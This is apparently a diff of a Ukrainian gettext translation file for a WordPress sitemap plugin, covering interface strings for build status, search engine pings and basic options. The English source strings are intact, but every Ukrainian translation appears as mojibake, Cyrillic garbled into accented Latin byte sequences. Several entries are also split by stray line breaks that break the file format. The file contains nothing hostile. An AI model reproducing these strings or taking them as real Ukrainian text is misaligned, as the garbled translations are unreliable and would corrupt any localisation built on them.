+#: sitemap-ui.php:536
+#@ sitemap
+msgid "My Amazon Wish List"
+msgstr "ÐÑÐ¹ Ð»ÑÑÑ Ð¿ÐŸÐ±Ð°Ð¶Ð°ÐœÐœÑ ÐœÐ° Amazon"
+
+#: sitemap-ui.php:537
+#@ sitemap
+msgid "translator_name"
+msgstr "Ð§ÐµÐŒÑÑ ÐÐ»ÐµÐœÐ°"
+
+#: sitemap-ui.php:537
+#@ sitemap
+msgid "translator_url"
+msgstr "http://stereo-lisa.org.ua"
+
+#: sitemap-ui.php:540
+#@ sitemap
+msgid "Sitemap Resources:"
+msgstr "Ð ÐµÑÑÑÑÐž ÐÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ"
+
+#: sitemap-ui.php:541
+#: sitemap-ui.php:547
+#@ sitemap
+msgid "Webmaster Tools"
+msgstr "ÐÐœÑÑÑÑÐŒÐµÐœÑ ÐÐµÐ±-ÐŒÐ°Ð¹ÑÑÑÑÐ²"
+
+#: sitemap-ui.php:542
+#@ sitemap
+msgid "Webmaster Blog"
+msgstr "ÐÐ»ÐŸÐ³ ÐÐµÐ±-ÐŒÐ°Ð¹ÑÑÐµÑÐ°"
+
+#: sitemap-ui.php:544
+#@ sitemap
+msgid "Site Explorer"
+msgstr "ÐÐµÑÐµÐ³Ð»ÑÐŽ Ð¡Ð°Ð¹ÑÑ"
+
+#: sitemap-ui.php:545
+#@ sitemap
+msgid "Search Blog"
+msgstr "ÐÐŸÑÑÐº ÐÐ»ÐŸÐ³Ð°"
+
+#: sitemap-ui.php:548
+#@ sitemap
+msgid "Webmaster Center Blog"
+msgstr "ÐÐ»ÐŸÐ³ ÐŠÐµÐœÑÑÐ° ÐÐµÐ±-ÐŒÐ°Ð¹ÑÑÑÑÐ²"
+
+#: sitemap-ui.php:550
+#@ sitemap
+msgid "Sitemaps Protocol"
+msgstr "ÐÑÐŸÑÐŸÐºÐŸÐ» Sitemaps"
+
+#: sitemap-ui.php:551
+#@ sitemap
+msgid "Official Sitemaps FAQ"
+msgstr "ÐÑÑÑÑÐ¹ÐœÐžÐ¹ Sitemaps FAQ"
+
+#: sitemap-ui.php:552
+#@ sitemap
+msgid "My Sitemaps FAQ"
+msgstr "ÐÑÐ¹ Sitemaps FAQ"
+
+#: sitemap-ui.php:555
+#@ sitemap
+msgid "Recent Donations:"
+msgstr "ÐÑÑÐ°ÐœÐœÑ ÐÐŸÐ¶ÐµÑÑÐ²ÑÐ²Ð°ÐœÐœÑ"
+
+#: sitemap-ui.php:559
+#@ sitemap
+msgid "List of the donors"
+msgstr "ÐÐµÑÐµÐ»ÑÐº Ð¡Ð¿ÐŸÐœÑÐŸÑÑÐ²"
+
+#: sitemap-ui.php:561
+#@ sitemap
+msgid "Hide this list"
+msgstr "Ð¡Ñ
+ÐŸÐ²Ð°ÑÐž ÑÐµÐ¹ Ð¿ÐµÑÐµÐ»ÑÐº"
+
+#: sitemap-ui.php:564
+#@ sitemap
+msgid "Thanks for your support!"
+msgstr "ÐÑÐºÑÑ Ð·Ð° Ð²Ð°ÑÑ Ð¿ÑÐŽÑÑÐžÐŒÐºÑ!"
+
+#: sitemap-ui.php:582
+#@ sitemap
+msgid "Status"
+msgstr "Ð¡ÑÐ°ÑÑÑ"
+
+#: sitemap-ui.php:590
+#, php-format
+#@ sitemap
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "ÐÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ ÑÐµ ÐœÐµ Ð±ÑÐ»Ð° Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ð°ÐœÐ°. <a href=\"%s\"> ÐÐ°ÑÐžÑÐœÑÑÑ ÑÑÑ </a>, ÑÐŸÐ± Ð¿ÐŸÐ±ÑÐŽÑÐ²Ð°ÑÐž ÑÑ Ð² Ð¿ÐµÑÑÐžÐ¹ ÑÐ°Ð·."
+
+#: sitemap-ui.php:596
+#, php-format
+#@ sitemap
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÐ° <a href=\"%url%\">ÐŒÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ</a> Ð±ÑÐ»Ð° Ð² ÐŸÑÑÐ°ÐœÐœÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ð°ÐœÐ° <b>%date%</b>."
+
+#: sitemap-ui.php:598
+#, php-format
+#@ sitemap
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÐŸÐ±Ð»ÐµÐŒÐ° Ð·Ð°Ð¿ÐžÑÑ Ð²Ð°ÑÐŸÐ³ÐŸÑ ÐŒÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ Ñ ÑÐ°Ð¹Ð». ÐÐµÑÐµÐºÐŸÐœÐ°Ð¹ÑÐµÑÑ, ÑÐŸ ÑÐ°Ð¹Ð» ÑÑÐœÑÑ Ñ Ñ Ð¿ÑÐ°Ð²Ð° ÐœÐ°  Ð·Ð°Ð¿ÐžÑ. <a href=\"%url%\">ÐÑÐ·ÐœÐ°ÑÐžÑÑ Ð±ÑÐ»ÑÑÐµ</a>"
+
+#: sitemap-ui.php:605
+#, php-format
+#@ sitemap
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "ÐÐ°ÑÑ (<a href=\"%url%\">ÑÑÐžÑÐœÑÑÑ</a>) ÐŒÐ°Ð¿Ñ ÑÐ°Ð¹ÑÑ ÐŒÐžÐœÑÐ»ÐŸÐ³ÐŸ ÑÐ°Ð·Ñ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ð°ÐœÐŸ <b>%date%</b>."
+
+#: sitemap-ui.php:607
+#, php-format
+#@ sitemap
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "ÐÑÐŸÐ±Ð»ÐµÐŒÐ° Ð·Ð°Ð¿ÐžÑÑ Ð²Ð°ÑÐŸÑ ÑÑÐžÑÐœÑÑÐŸÑ ÐŒÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ Ñ ÑÐ°Ð¹Ð». ÐÐµÑÐµÐºÐŸÐœÐ°Ð¹ÑÐµÑÑ, ÑÐŸ ÑÐ°Ð¹Ð» ÑÑÐœÑÑ Ñ Ñ Ð¿ÑÐ°Ð²Ð° ÐœÐ°  Ð·Ð°Ð¿ÐžÑ. <a href=\"%url%\">ÐÑÐ·ÐœÐ°ÑÐžÑÑ Ð±ÑÐ»ÑÑÐµ</a>"
+
+#: sitemap-ui.php:613
+#@ sitemap
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google Ð±ÑÐ² <b>ÑÑÐ¿ÑÑÐœÐŸ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐžÐ¹</b> Ð¿ÑÐŸ Ð·ÐŒÑÐœÐž."
+
+#: sitemap-ui.php:616
+#, php-format
+#@ sitemap
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐŠÐµ Ð·Ð°Ð¹ÐŒÐµ %time% ÑÐµÐºÑÐœÐŽ ÑÐŸÐ± Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Google, ÐŒÐŸÐ¶Ð»ÐžÐ²ÐŸ, Ð²Ðž Ñ
+ÐŸÑÐµÑÐµ Ð²ÐžÐŒÐºÐœÑÑÐž ÑÑ ÑÑÐœÐºÑÑÑ ÐŽÐ»Ñ ÑÐºÐŸÑÐŸÑÐµÐœÐœÑ ÑÐ°ÑÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž."
+
+#: sitemap-ui.php:619
+#, php-format
+#@ sitemap
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "ÐÐžÐœÐžÐºÐ»Ð° Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ° Ð¿ÑÐž Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ Google. <a href=\"%s\">ÐÐžÐ²ÐžÑÐžÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+#: sitemap-ui.php:625
+#@ sitemap
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO Ð±ÑÐ² <b>ÑÑÐ¿ÑÑÐœÐŸ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐžÐ¹</b> Ð¿ÑÐŸ Ð·ÐŒÑÐœÐž."
+
+#: sitemap-ui.php:628
+#, php-format
+#@ sitemap
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐŠÐµ Ð·Ð°Ð¹ÐŒÐµ %time% ÑÐµÐºÑÐœÐŽ ÑÐŸÐ± Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž YAHOO, ÐŒÐŸÐ¶Ð»ÐžÐ²ÐŸ, Ð²Ðž Ñ
+ÐŸÑÐµÑÐµ Ð²ÐžÐŒÐºÐœÑÑÐž ÑÑ ÑÑÐœÐºÑÑÑ ÐŽÐ»Ñ ÑÐºÐŸÑÐŸÑÐµÐœÐœÑ ÑÐ°ÑÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž."
+
+#: sitemap-ui.php:631
+#, php-format
+#@ sitemap
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "ÐÐžÐœÐžÐºÐ»Ð° Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ° Ð¿ÑÐž Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ YAHOO. <a href=\"%s\">ÐÐžÐ²ÐžÑÐžÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+#: sitemap-ui.php:637
+#@ sitemap
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing Ð±ÑÐ² <b>ÑÑÐ¿ÑÑÐœÐŸ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐžÐ¹</b> Ð¿ÑÐŸ Ð·ÐŒÑÐœÐž."
+
+#: sitemap-ui.php:640
+#, php-format
+#@ sitemap
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐŠÐµ Ð·Ð°Ð¹ÐŒÐµ %time% ÑÐµÐºÑÐœÐŽ ÑÐŸÐ± Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Bing, ÐŒÐŸÐ¶Ð»ÐžÐ²ÐŸ, Ð²Ðž Ñ
+ÐŸÑÐµÑÐµ Ð²ÐžÐŒÐºÐœÑÑÐž ÑÑ ÑÑÐœÐºÑÑÑ ÐŽÐ»Ñ ÑÐºÐŸÑÐŸÑÐµÐœÐœÑ ÑÐ°ÑÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž."
+
+#: sitemap-ui.php:643
+#, php-format
+#@ sitemap
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "ÐÐžÐœÐžÐºÐ»Ð° Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ° Ð¿ÑÐž Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ Bing. <a href=\"%s\">ÐÐžÐ²ÐžÑÐžÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+#: sitemap-ui.php:649
+#@ sitemap
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com Ð±ÑÐ² <b>ÑÑÐ¿ÑÑÐœÐŸ Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐžÐ¹</b> Ð¿ÑÐŸ Ð·ÐŒÑÐœÐž."
+
+#: sitemap-ui.php:652
+#, php-format
+#@ sitemap
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "ÐŠÐµ Ð·Ð°Ð¹ÐŒÐµ %time% ÑÐµÐºÑÐœÐŽ ÑÐŸÐ± Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Ask.com, ÐŒÐŸÐ¶Ð»ÐžÐ²ÐŸ, Ð²Ðž Ñ
+ÐŸÑÐµÑÐµ Ð²ÐžÐŒÐºÐœÑÑÐž ÑÑ ÑÑÐœÐºÑÑÑ ÐŽÐ»Ñ ÑÐºÐŸÑÐŸÑÐµÐœÐœÑ ÑÐ°ÑÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž."
+
+#: sitemap-ui.php:655
+#, php-format
+#@ sitemap
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "ÐÐžÐœÐžÐºÐ»Ð° Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐ° Ð¿ÑÐž Ð¿ÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ Ask.com. <a href=\"%s\">ÐÐžÐ²ÐžÑÐžÑÑ ÑÐµÐ·ÑÐ»ÑÑÐ°Ñ</a>"
+
+#: sitemap-ui.php:663
+#, php-format
+#@ sitemap
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "ÐÑÐŸÑÐµÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž Ð·Ð°Ð¹ÐœÑÐ² <b>%time% ÑÐµÐºÑÐœÐŽ</b> ÐŽÐ»Ñ Ð·Ð°Ð²ÐµÑÑÐµÐœÐœÑ Ñ Ð²ÐžÐºÐŸÑÐžÑÑÑÐ²Ð°Ð² %memory% MB Ð¿Ð°ÐŒ'ÑÑÑ."
+
+#: sitemap-ui.php:665
+#, php-format
+#@ sitemap
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "ÐÑÐŸÑÐµÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž Ð·Ð°Ð¹ÐœÑÐ² Ð±Ð»ÐžÐ·ÑÐºÐŸ <b>%time% ÑÐµÐºÑÐœÐŽ</b> ÐŽÐŸ Ð·Ð°Ð²ÐµÑÑÐµÐœÐœÑ."
+
+#: sitemap-ui.php:669
+#@ sitemap
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "ÐÐŒÑÑÑ ÐÐ°ÑÐŸÐ³ÐŸÑ ÐŒÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ <strong> ÐœÐµ Ð·ÐŒÑÐœÐžÐ²ÑÑ </strong>, ÐŸÑÐºÑÐ»ÑÐºÐž ÐŸÑÑÐ°ÐœÐœÑÐ¹ ÑÐ°Ð·, ÑÐ°Ð¹Ð»Ðž ÐœÐµ Ð±ÑÐ»ÐŸ  Ð·Ð°Ð¿ÐžÑÐ°ÐœÐŸ, Ñ ÐœÐµ Ð²ÑÐŽÐ±ÑÐ²ÑÑ Ð¿ÑÐœÐ³ Ð¿ÐŸÑÑÐºÐŸÐ²ÐŸÑ ÑÐžÑÑÐµÐŒÐž."
+
+#: sitemap-ui.php:677
+#@ sitemap
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "ÐÑÐŸÑÐµÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž ÐŒÐŸÐ¶Ðµ Ð±ÑÑÐž ÑÐµ Ð°ÐºÑÐžÐ²ÐœÐžÐŒ! ÐÐµÑÐµÐ·Ð°Ð²Ð°ÐœÑÐ°Ð¶ÑÐµ ÑÑÐŸÑÑÐœÐºÑ ÑÐµÑÐµÐ· ÐºÑÐ»ÑÐºÐ° ÑÐµÐºÑÐœÐŽ, Ñ Ð¿ÐµÑÐµÐ²ÑÑÑÑÐµ - ÑÐž Ð²ÑÐŽÐ±ÑÐ»ÐžÑÑ Ð·ÐŒÑÐœÐž."
+
+#: sitemap-ui.php:680
+#, php-format
+#@ sitemap
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "ÐÑÑÐ°ÐœÐœÑÐ¹ Ð·Ð°Ð¿ÑÑÐº ÐœÐµ Ð·Ð°ÐºÑÐœÑÐžÐ²ÑÑ! ÐÐŸÐ¶Ð»ÐžÐ²ÐŸ Ð²Ðž Ð·Ð±ÑÐ»ÑÑÐžÑÐµ Ð¿Ð°ÐŒ'ÑÑÑ Ð°Ð±ÐŸ Ð»ÑÐŒÐžÑ ÑÐ°ÑÑ ÐŽÐ»Ñ PHP ÑÐºÑÐžÐ¿ÑÑÐ². <a href=\"%url%\">ÐÑÐ·ÐœÐ°ÑÐžÑÑ Ð±ÑÐ»ÑÑÐµ</a>"
+
+#: sitemap-ui.php:682
+#, php-format
+#@ sitemap
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "ÐÑÑÐ°ÐœÐœÑ Ð²ÑÐŽÐŸÐŒÐµ Ð²ÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ Ð¿Ð°ÐŒ'ÑÑÑ ÑÑÐµÐœÐ°ÑÑÑÐŒ Ð±ÑÐ»ÐŸ %memused%MB, ÐŒÐµÐ¶Ð° ÐŽÐ»Ñ Ð²Ð°ÑÐŸÐ³ÐŸ ÑÐµÑÐ²ÐµÑÐ° Ñ %memlimit%. "
+
+#: sitemap-ui.php:686
+#, php-format
+#@ sitemap
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "ÐÑÑÐ°ÐœÐœÑÐ¹ Ð²ÑÐŽÐŸÐŒÐžÐ¹ ÑÐ°Ñ Ð²ÐžÐºÐŸÐœÐ°ÐœÐœÑ ÑÑÐµÐœÐ°ÑÑÑ Ð±ÑÐ² %timeused% ÑÐµÐºÑÐœÐŽ, ÐŒÐµÐ¶Ð° ÐŽÐ»Ñ Ð²Ð°ÑÐŸÐ³ÐŸ ÑÐµÑÐ²ÐµÑÐ° Ñ %timelimit% ÑÐµÐºÑÐœÐŽ. "
+
+#: sitemap-ui.php:690
+#, php-format
+#@ sitemap
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Ð¡ÑÐµÐœÐ°ÑÑÐ¹ Ð·ÑÐ¿ÐžÐœÐµÐœÐŸ Ð±ÑÐ»Ñ Ð¿ÑÐ±Ð»ÑÐºÐ°ÑÑÑ ÐœÐŸÐŒÐµÑ %lastpost% (+/- 100)"
+
+#: sitemap-ui.php:693
+#, php-format
+#@ sitemap
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Ð¯ÐºÑÐŸ Ð²Ðž Ð·ÐŒÑÐœÑÐ²Ð°Ð»Ðž ÑÐºÑ-ÐœÐµÐ±ÑÐŽÑ ÐµÐ»ÐµÐŒÐµÐœÑÐž ÐœÐ° Ð²Ð°ÑÐŸÐŒÑ ÑÐµÑÐ²ÐµÑÑ Ð°Ð±ÐŸ  Ð±Ð»ÐŸÐ³Ñ, Ð¿ÐŸÑÑÑÐ±ÐœÐŸ <a href=\"%s\"> Ð²ÑÐŽÐœÐŸÐ²ÐžÑÐž ÐŒÐ°Ð¿Ñ ÑÐ°Ð¹ÑÑ</a> Ð²ÑÑÑÐœÑ."
+
+#: sitemap-ui.php:695
+#, php-format
+#@ sitemap
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Ð¯ÐºÑÐŸ Ñ Ð²Ð°Ñ Ð²ÐžÐœÐžÐºÐœÑÑÑ Ð¿ÑÐŸÐ±Ð»ÐµÐŒÐž Ð· Ð¿ÑÐŸÑÐµÑÐŸÐŒ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž ÐŒÐŸÐ¶ÐœÐ° Ð²ÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÐ²Ð°ÑÐž <a href=\"%d\"> Ð²ÑÐŽÐ»Ð°Ð³ÐŸÐŽÐ¶ÑÐ²Ð°Ð»ÑÐœÐ° ÑÑÐœÐºÑÑÑ </a>, ÑÐŸÐ± ÐŸÐŽÐµÑÐ¶Ð°ÑÐž Ð±ÑÐ»ÑÑ ÐŽÐŸÐºÐ»Ð°ÐŽÐœÑ ÑÐœÑÐŸÑÐŒÐ°ÑÑÑ."
+
+#: sitemap-ui.php:702
+#@ sitemap
+msgid "Basic Options"
+msgstr "ÐÐ°Ð·ÐŸÐ²Ñ ÐÐ¿ÑÑÑ"
+
+#: sitemap-ui.php:704
+#@ sitemap
+msgid "Sitemap files:"
+msgstr "Ð€Ð°Ð¹Ð»Ðž ÐÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ"
+
+#: sitemap-ui.php:704
+#: sitemap-ui.php:719
+#: sitemap-ui.php:739
+#: sitemap-ui.php:772
+#@ sitemap
+msgid "Learn more"
+msgstr "ÐÑÐ·ÐœÐ°ÑÐžÑÑ Ð±ÑÐ»ÑÑÐµ"
+
+#: sitemap-ui.php:709
+#@ sitemap
+msgid "Write a normal XML file (your filename)"
+msgstr "ÐÐ°Ð¿ÐžÑÑÑÑ ÐœÐŸÑÐŒÐ°Ð»ÑÐœÐžÐ¹ XML ÑÐ°Ð¹Ð» (Ð²Ð°ÑÐ° ÐœÐ°Ð·Ð²Ð° ÑÐ°Ð¹Ð»Ñ )"
+
+#: sitemap-ui.php:715
+#@ sitemap
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "ÐÐ°Ð¿ÐžÑÑÑÑ ÑÑÐžÑÐœÑÑÐžÐ¹ ÑÐ°Ð¹Ð» (Ð²Ð°ÑÐ° ÐœÐ°Ð·Ð²Ð° ÑÐ°Ð¹Ð»Ñ + .gz)"
+
+#: sitemap-ui.php:719
+#@ sitemap
+msgid "Building mode:"
+msgstr "Ð ÐµÐ¶ÐžÐŒ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ðž:"
+
+#: sitemap-ui.php:724
+#@ sitemap
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "ÐÐµÑÐµÐ±ÑÐŽÑÐ¹ÑÐµ ÐŒÐ°Ð¿Ñ ÑÐ°Ð¹ÑÑ, ÑÐºÑÐŸ Ð²Ðž Ð·ÐŒÑÐœÐžÐ»Ðž Ð·ÐŒÑÑÑ Ð²Ð°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ"
+
+#: sitemap-ui.php:731
+#@ sitemap
+msgid "Enable manual sitemap building via GET Request"
+msgstr "ÐÐºÐ»ÑÑÐžÑÐž ÑÑÑÐœÑ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ñ ÐŒÐ°Ð¿Ðž ÑÐ°Ð¹ÑÑ ÑÐµÑÐµÐ· GET Ð·Ð°Ð¿ÐžÑ"
+
+#: sitemap-ui.php:735
+#, php-format
+#@ sitemap
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "ÐŠÐµ ÐŽÐŸÐ·Ð²ÐŸÐ»ÐžÑÑ Ð²Ð°ÐŒ ÐŸÐœÐŸÐ²ÐžÑÐž Ð²Ð°Ñ ÑÐ°Ð¹Ñ, ÑÐºÑÐŸ Ð·ÐŸÐ²ÐœÑÑÐœÑÐ¹ ÑÐœÑÑÑÑÐŒÐµÐœÑ Ð¿ÐžÑÐ°Ð² Ñ WordPress Ð±Ð°Ð·Ðž ÐŽÐ°ÐœÐžÑ
+ Ð±ÐµÐ· Ð²ÐžÐºÐŸÑÐžÑÑÐ°ÐœÐœÑ WordPress API. ÐÐžÐºÐŸÑÐžÑÑÐŸÐ²ÑÐ¹ÑÐµ ÐœÐ°ÑÑÑÐ¿ÐœÐžÐ¹ URL, ÑÐŸÐ± ÑÐŸÐ·Ð¿ÐŸÑÐ°ÑÐž ÑÐµÐ¹ Ð¿ÑÐŸÑÐµÑ: <a href=\"%1\">%1</a> ÐÑÐŽÑ Ð»Ð°ÑÐºÐ°, Ð¿ÐµÑÐµÐ²ÑÑÑÐµ Ð»ÐŸÐ³Ðž Ð²ÐžÑÐµ, ÑÐŸÐ± Ð¿ÐŸÐ±Ð°ÑÐžÑÐž, ÑÐºÑÐŸ ÐŒÐ°Ð¿Ð° ÑÐ°Ð¹ÑÑ Ð±ÑÐ»Ð° ÑÑÐ¿ÑÑÐœÐŸ Ð¿ÐŸÐ±ÑÐŽÐŸÐ²Ð°ÐœÐ°."
+
+#: sitemap-ui.php:739
+#@ sitemap
+msgid "Update notification:"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐ»ÐµÐœÐœÑ Ð¿ÑÐŸ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐœÑ:"
+
+#: sitemap-ui.php:743
+#@ sitemap
+msgid "Notify Google about updates of your Blog"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Google Ð¿ÑÐŸ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐœÑ ÐÐ°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ\n"
+
+#: sitemap-ui.php:744
+#, php-format
+#@ sitemap
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "ÐÐµ Ð¿ÐŸÑÑÑÐ±ÐœÐ° ÑÐµÑÑÑÑÐ°ÑÑÑ, Ð°Ð»Ðµ Ð²Ðž ÐŒÐŸÐ¶ÐµÑÐµ Ð¿ÑÐžÑÐŽÐœÐ°ÑÐžÑÑ ÐŽÐŸ <a href=\"%s\"> Google ÐÐœÑÑÑÑÐŒÐµÐœÑÐž ÐŽÐ»Ñ Ð²ÐµÐ±-ÐŒÐ°Ð¹ÑÑÑÑÐ² </ A>, ÑÐŸÐ± Ð¿ÐµÑÐµÐ²ÑÑÐžÑÐž ÑÑÐ°ÑÐžÑÑÐžÐºÑ ÑÐºÐ°ÐœÑÐ²Ð°ÐœÐœÑ."
+
+#: sitemap-ui.php:748
+#@ sitemap
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐ»ÑÑÐž ÐÑÐœÐ³ÐŸ (ÐºÐŸÐ»ÐžÑÐœÑÐ¹ MSN Live Search) Ð¿ÑÐŸ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐœÑ ÐÐ°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ"
+
+#: sitemap-ui.php:749
+#, php-format
+#@ sitemap
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "ÐÐµ Ð¿ÐŸÑÑÑÐ±ÐœÐ° ÑÐµÑÑÑÑÐ°ÑÑÑ, Ð°Ð»Ðµ Ð²Ðž ÐŒÐŸÐ¶ÐµÑÐµ Ð¿ÑÐžÑÐŽÐœÐ°ÑÐžÑÑ ÐŽÐŸ <a href=\"%s\"> Bing ÐÐœÑÑÑÑÐŒÐµÐœÑÐž ÐŽÐ»Ñ Ð²ÐµÐ±-ÐŒÐ°Ð¹ÑÑÑÑÐ² </a>, ÑÐŸÐ± Ð¿ÐµÑÐµÐ²ÑÑÐžÑÐž ÑÑÐ°ÑÐžÑÑÐžÐºÑ ÑÐºÐ°ÐœÑÐ²Ð°ÐœÐœÑ."
+
+#: sitemap-ui.php:753
+#@ sitemap
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž Ask.com  Ð¿ÑÐŸ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐœÑ ÐÐ°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ"
+
+#: sitemap-ui.php:754
+#@ sitemap
+msgid "No registration required."
+msgstr "ÐÐµ Ð¿ÐŸÑÑÑÐ±ÐœÐ° ÑÐµÑÑÑÑÐ°ÑÑÑ."
+
+#: sitemap-ui.php:758
+#@ sitemap
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "ÐÐŸÐ²ÑÐŽÐŸÐŒÐžÑÐž YAHOO  Ð¿ÑÐŸ ÐŸÐœÐŸÐ²Ð»ÐµÐœÐœÑ ÐÐ°ÑÐŸÐ³ÐŸ Ð±Ð»ÐŸÐ³Ñ"
+
+#: sitemap-ui.php:759
+#@ sitemap
+msgid "Your Application ID:"
+msgstr "ÐÐ°Ñ ÐžÐŽÐµÐœÑÐžÑÑÐºÐ°ÑÐŸÑ :"
+
+#: sitemap-ui.php:760
+#, php-format
+#@ sitemap
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "ÐÐž ÐœÐµ ÐŒÐ°ÑÑÐµ ÑÐ°ÐºÐŸÐ³ÐŸ ÐºÐ»ÑÑÐ°? <a href=\"%s1\">ÐÐ°Ð¿ÐžÑÐ°ÑÐž Ð¹ÐŸÐ³ÐŸ ÑÑÑ</a>! %s2"
+
+#: sitemap-ui.php:765
+#@ sitemap
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "ÐÐŸÐŽÐ°ÑÐž URL ÑÐ°Ð¹Ð»Ñ Sitemap Ð² Ð²ÑÑÑÑÐ°Ð»ÑÐœÐžÐ¹ ÑÐ°Ð¹Ð» robots.txt ."
+
+#: sitemap-ui.php:769
+#@ sitemap
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
